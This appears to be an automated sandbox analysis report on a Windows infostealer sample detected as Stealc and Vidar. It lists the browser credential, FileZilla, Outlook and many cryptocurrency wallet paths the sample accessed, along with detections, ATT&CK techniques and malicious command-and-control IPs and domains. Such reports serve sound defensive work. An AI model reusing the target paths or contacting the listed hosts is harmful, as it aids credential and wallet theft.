Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000008.00000002.3168952289.000000000140E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7e96f85771.exe PID: 1672, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match	File source: 0000000A.00000003.2995975951.0000000001160000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3235221216.0000000000DBF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 88edf6a100.exe PID: 6848, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 32.0.num.exe.40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.0.num.exe.40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.num.exe.40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.num.exe.40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.7e96f85771.exe.810000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.7e96f85771.exe.810000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000000.2989582448.0000000000041000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2874827283.00000000051B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.3246728822.0000000000041000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.3198812078.0000000000811000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3294064739.0000000001447000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.3248429652.0000000000B6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.3201845149.000000000167B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3286511778.0000000000041000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3168952289.000000000140E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.3018637776.00000000052A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.3150281953.0000000000041000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7e96f85771.exe PID: 1672, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 00000008.00000002.3168952289.000000000140E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7e96f85771.exe PID: 1672, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	1 Extra Window Memory Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	248 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	751 Security Software Discovery	Distributed Component Object Model	Input Capture	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	251 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	251 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
g4Cyr2T5jq.exe	55%	ReversingLabs	Win32.Packed.Generic
g4Cyr2T5jq.exe	53%	Virustotal		Browse
g4Cyr2T5jq.exe	100%	Avira	TR/Crypt.TPM.Gen
g4Cyr2T5jq.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	100%	Avira	TR/AD.Stealc.bkskc
C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001137001\num.exe	100%	Avira	TR/AD.Stealc.bkskc
C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001137001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1001137001\num.exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	55%	ReversingLabs	Win32.Trojan.Generic

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
example.org	0%	Virustotal	Browse
prod.classify-client.prod.webservices.mozgcp.net	0%	Virustotal	Browse
prod.detectportal.prod.cloudops.mozgcp.net	0%	Virustotal	Browse
prod.balrog.prod.cloudops.mozgcp.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://detectportal.firefox.com/	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://json-schema.org/draft/2019-09/schema.	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
http://exslt.org/common	0%	URL Reputation	safe
https://ok.ru/	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://account.bellmedia.c	0%	URL Reputation	safe
https://login.microsoftonline.com	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
https://www.zhihu.com/	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://duckduckgo.com/?t=ffab&q=	0%	URL Reputation	safe
https://contile.services.mozilla.com/v1/tiles	0%	URL Reputation	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
https://gpuweb.github.io/gpuweb/	0%	URL Reputation	safe
http://json-schema.org/draft-07/schema#-	0%	URL Reputation	safe
https://www.wykop.pl/	0%	URL Reputation	safe
https://www.olx.pl/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
example.org	93.184.215.14	true	false	0%, Virustotal, Browse	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	0%, Virustotal, Browse	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	0%, Virustotal, Browse	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	0%, Virustotal, Browse	unknown
sergei-esenin.com	104.21.53.8	true	true		unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false		unknown
contile.services.mozilla.com	34.117.188.166	true	false		unknown
youtube.com	142.250.184.238	true	false		unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false		unknown
steamcommunity.com	104.102.49.254	true	true		unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false		unknown
ipv4only.arpa	192.0.0.170	true	false		unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false		unknown
push.services.mozilla.com	34.107.243.93	true	false		unknown
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false		unknown
spirittunek.store	unknown	unknown	true		unknown
spocs.getpocket.com	unknown	unknown	false		unknown
licendfilteo.site	unknown	unknown	true		unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false		unknown
support.mozilla.org	unknown	unknown	false		unknown
eaglepawnoy.store	unknown	unknown	true		unknown
firefox.settings.services.mozilla.com	unknown	unknown	false		unknown
bathdoomgaz.store	unknown	unknown	true		unknown
detectportal.firefox.com	unknown	unknown	false		unknown
studennotediw.store	unknown	unknown	true		unknown
mobbipenju.store	unknown	unknown	true		unknown
shavar.services.mozilla.com	unknown	unknown	false		unknown
clearancek.site	unknown	unknown	true		unknown
dissapoiznw.store	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
https://steamcommunity.com/profiles/76561199724331900	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	f84005b97f.exe, 00000007.00000003.2812900969.00000000014C7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://detectportal.firefox.com/	firefox.exe, 00000017.00000002.3163888580.000002882BAB0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV	f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value	firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/	f84005b97f.exe, 00000007.00000003.2823586577.0000000001481000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://json-schema.org/draft/2019-09/schema.	firefox.exe, 00000017.00000003.3055688840.000002882E03C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3175463259.000002882E036000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://detectportal.firefox.com/canonical.htmlACTIVITY_SUBTYPE_CONNECTION_CREATEDLOAD_MEDIA_SNIFFER_	firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=	f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/disableGreaseOnFallback	firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli	f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://screenshots.firefox.com/#	firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType	firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 00000017.00000002.3163888580.000002882BAB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3117080621.0000028824356000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3137866600.0000028826C9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3100093809.00000288230EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3044553062.000002882BA78000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 00000017.00000003.3044201418.000002882BAB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BAB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3090755070.000002881F703000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://screenshots.firefox.com	firefox.exe, 00000017.00000002.3090755070.000002881F7AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3090755070.000002881F703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B7E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/insecureFallback	firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000017.00000002.3123219764.0000028825105000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3119588541.00000288245B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3122697624.0000028824B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.000002882510C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000017.00000003.2983132390.000002882376F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3117080621.0000028824396000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982268821.0000028823500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825165000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982443745.000002882371D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112181338.0000028823900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.2982699498.0000028823738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982871988.0000028823753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2983357091.000002882378A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F825000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F87B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3044553062.000002882BA78000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestSponsoredEnabled	firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpcoded	skotes.exe, 00000006.00000002.3323108552.0000000000982000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpla	7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	false		unknown
